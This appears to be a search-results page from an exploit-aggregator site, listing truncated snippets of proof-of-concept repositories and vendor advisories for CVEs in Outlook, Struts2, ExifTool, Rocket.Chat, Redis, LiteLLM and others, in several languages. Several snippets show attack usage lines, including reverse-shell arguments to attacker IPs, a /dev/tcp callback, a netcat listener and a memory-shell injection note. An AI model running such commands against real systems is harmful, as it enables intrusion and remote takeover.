634157 matches found
CVE-2020-1493
CVE-2020-1493 この脆弱性は、Windows 10 1909 x64 にインストールされた Outlook 2019 16.0.12624.20424 で発生します。また、この脆弱性は ゼロクリック 脆弱性です。 要約 このバグは winafl ファザーを使用して発見しました。このバグは、ms-tnef ファイル（eml ファイルの添付ファイル）の解析中に発生します。脆弱なメソッドは、vftable ポインタに範囲外のデータを読み取って使用します。そのため、攻撃者がこの脆弱性の悪用に成功すると、リモートコマンド実行がトリガーされます。 詳細 root@kitploit:...
CVE-2020-17530
これは何ですか これはS2-061の脆弱性の詳細を分析するためのシンプルなテストプロジェクトです。 使用方法 ステップ1：IDEAを使用してこのプロジェクトをインポートする ステップ2：Tomcatサーバーをセットアップする ステップ3：ブラウザで次のURLにアクセスする："http://192.168.174.149:8080/SimpleStrutswarexploded/S2061.action?id=%25%7b8%2a8%7d" エクスプロイト方法 SSRFテスト root@kitploit: POST /SimpleStrutswarexploded/S2061.action...
USN-8753-1 libinput vulnerability
It was discovered that libinput did not properly escape device properties. A local attacker could possibly use this issue to inject arbitrary udev properties and execute arbitrary code as root...
CVE-2026-5718-Lab
CVE-2026-5718 ローカル Docker ラボ ローカル専用の脆弱性版・修正版 Docker ラボで CVE-2026-5718 を扱います。この脆弱性は WordPress プラグイン Drag and Drop Multiple File Upload for Contact Form 7 に影響します。 このラボでは、脆弱性バージョン 1.3.9.6 と修正バージョン 1.3.9.7 の違いを、Docker 環境内でのみ動作する最小限の害の PHP 実行プルーフを用いて示します。 スコープ: localhost / Docker ネットワークのみ。この PoC...
CVE-2026-33017-Langflow-RCE
root@kitploit: ██╗ ██╗ ██████╗ ███████╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██║ ██║██╔═══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔═══██╗██╔════╝ ██║ ██║██║ ██║███████╗███████╗██║ ██║██║ ██║██║ ██║███████╗ ╚██╗ ██╔╝██║ ██║╚════██║╚════██║██║ ██║██║ ██║██║ ██║╚════██║ ╚████╔╝...
CVE-2021-22204
CVE-2021-22204 説明 ExifTool バージョン 7.44 以降の DjVu ファイル形式におけるユーザーデータの不適切な無害化により、悪意のある画像を解析する際に任意のコード実行が可能になります。 スクリプト Script Link スクリプトの使い方: システムコマンド: root@kitploit: bash CVE-2021-2204.sh "system'id'" happy.jpg リバースシェル root@kitploit: bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg...
CVE-2026-42271-PoC
CVE-2026-42271 — LiteLLM Authenticated Command Injection via MCP stdio Test Endpoints LiteLLM POST /mcp-rest/test/connection & POST /mcp-rest/test/tools/list — Authenticated command injection via MCP stdio transport. Any valid API key can execute arbitrary OS commands as root in default Docker...
CVE-2022-0543
CVE-2022-0543 CVE-2022-0543RCE,Redis Luaサンドボックスバイパス コマンド実行 Usage python3 CVE-2022-0543.py...
ThemeBleedPy
衷心感谢 gabek 在 C 中提供了初始 PoC，并实际发现了这个 CVE。这是用 Python 对他的代码进行的重制，复用了他的 stage 文件。 要查看原始 PoC，请访问他的页面：https://github.com/gabe-k/themebleed ThemeBleedPy 一个使用 Python 针对 CVE-2023-38146 “ThemeBleed” 的概念验证。 要求： 该程序使用 Impackets SMB 服务器 并重写了 smb2Create 函数，因此需要 Impackets 的功能。 root@kitploit: Usage: Replace...
CVE-2024-4879
CVE-2024-4879 Exploit & PoC - Nuclei テンプレート CVE-2024-4879 - ServiceNow における Jelly テンプレートインジェクションの脆弱性 ServiceNow は、Vancouver および Washington DC Now Platform リリースで特定された入力検証の脆弱性に対処しました。この脆弱性により、認証されていないユーザーが Now Platform のコンテキスト内でリモートからコードを実行できる可能性があります。ServiceNow...
CVE-2022-24112
CVE-2022-24112: Apache APISIX 远程代码执行漏洞 root@kitploit: go run apisix-exploit.go -t -c 参考: https://nvd.nist.gov/vuln/detail/CVE-2022-24112 https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq...
CVE-2020-17530
S2-061 脚本皆根据vulhub的struts2-059/061漏洞测试环境来写的，不具普遍性，还望大佬多多指教 struts2-061-poc.py（可执行简单系统命令） 用法：python struts2-061-poc.py http://ip:port command 例子：python struts2-061-poc.py http://192.168.0.7:8080 whoami S2-061-shell.py（可反弹shell） 用法： 1. 首先在一台机器A上监听指定端口例如：nc -lvvp 7777） 2. 执行脚本：python2 S2-061-shell.p...
CVE-2021-32099
CVE-2021-32099 PoC 本仓库提供了针对 CVE-2021-32099 漏洞的概念验证（PoC）漏洞利用代码，该漏洞影响 Pandora FMS 742 。该漏洞利用演示了未经身份验证的攻击者如何利用 SQL 注入漏洞将会话从非特权级别提升到管理员级别。获得管理权限后，攻击者可通过 Pandora FMS File Manager 上传任意 PHP 文件，从而实现远程代码执行，并以 Web 服务器用户身份入侵服务器。 ⚠️ 免责声明 本项目仅用于教育、研究和经授权的安全测试目的 。 请勿在你不拥有或未经明确许可的系统上使用此代码。 作者不对 任何损坏或误用负责 。 安装...
CVE-2021-22911-RocketChat
CVE-2021-22911 — Rocket.Chat 3.12.1 RCE（即興） 概要 Rocket.Chat 3.12.1 の認証前のNoSQLインジェクションの脆弱性を悪用して、管理者のTOTPシークレットとパスワードリセットトークンを漏洩させ、管理者アカウントを乗っ取り、悪意のあるWebhook統合を介してRCEを達成します。 影響を受けるバージョン Rocket.Chat & /dev/tcp/YOURIP/4444 0&1' 引数...
Moderate: Red Hat Security Advisory: nginx:1.26 security update
An update for the nginx:1.26 module is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...
nginx: NGINX: Arbitrary code execution via crafted HTTP requests
A flaw was found in NGINX. An unauthenticated attacker can exploit this vulnerability by sending specially crafted HTTP requests when the map directive uses regular expression regex matching and references regex capture variables before referencing the map output variable. This can lead to a heap...
CVE-2021-2109
説明 Oracle Fusion Middleware の Oracle WebLogic Server 製品（コンポーネント: Console）における脆弱性。影響を受けるサポート対象バージョンは、10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 です。容易に悪用可能な脆弱性により、ネットワークアクセス権を持つ高権限の攻撃者が HTTP を介して Oracle WebLogic Server を侵害する可能性があります。この脆弱性の攻撃が成功すると、Oracle WebLogic Server...
CVE-2022-22947-
CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL式インジェクションによるコマンド実行（CVE-2022-22947） Godzillaメモリシェルを注入 デフォルトキー pass base64 注：コードはルート部分をクリアしていないので、自分でクリアしてください。。 テスト環境：https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md メモリシェルclass...
threatDemos
🚨 Android 安全威胁演示仓库 Android 安全漏洞与攻击向量的综合概念验证集合 本仓库作为教育资源，展示真实世界的 Android 安全威胁 及其相应的缓解策略 。每个演示都包含可运行的代码示例、详细的攻击向量和安全控制措施，帮助开发者理解并防止这些漏洞出现在生产应用中。 ⚡ 本仓库持续维护并不断扩展 🎯 仓库目标 🔍 演示真实的 Android 漏洞 ，附带可运行的概念验证代码 🛡️ 提供安全控制措施 以及每种威胁的缓解策略 📚 教育开发者 认识常见的 Android 安全陷阱 🧪 验证安全工具 ，如 MobSF 及其漏洞检测能力 ⚡ 研究前沿的 Android 利用技术 🗂️...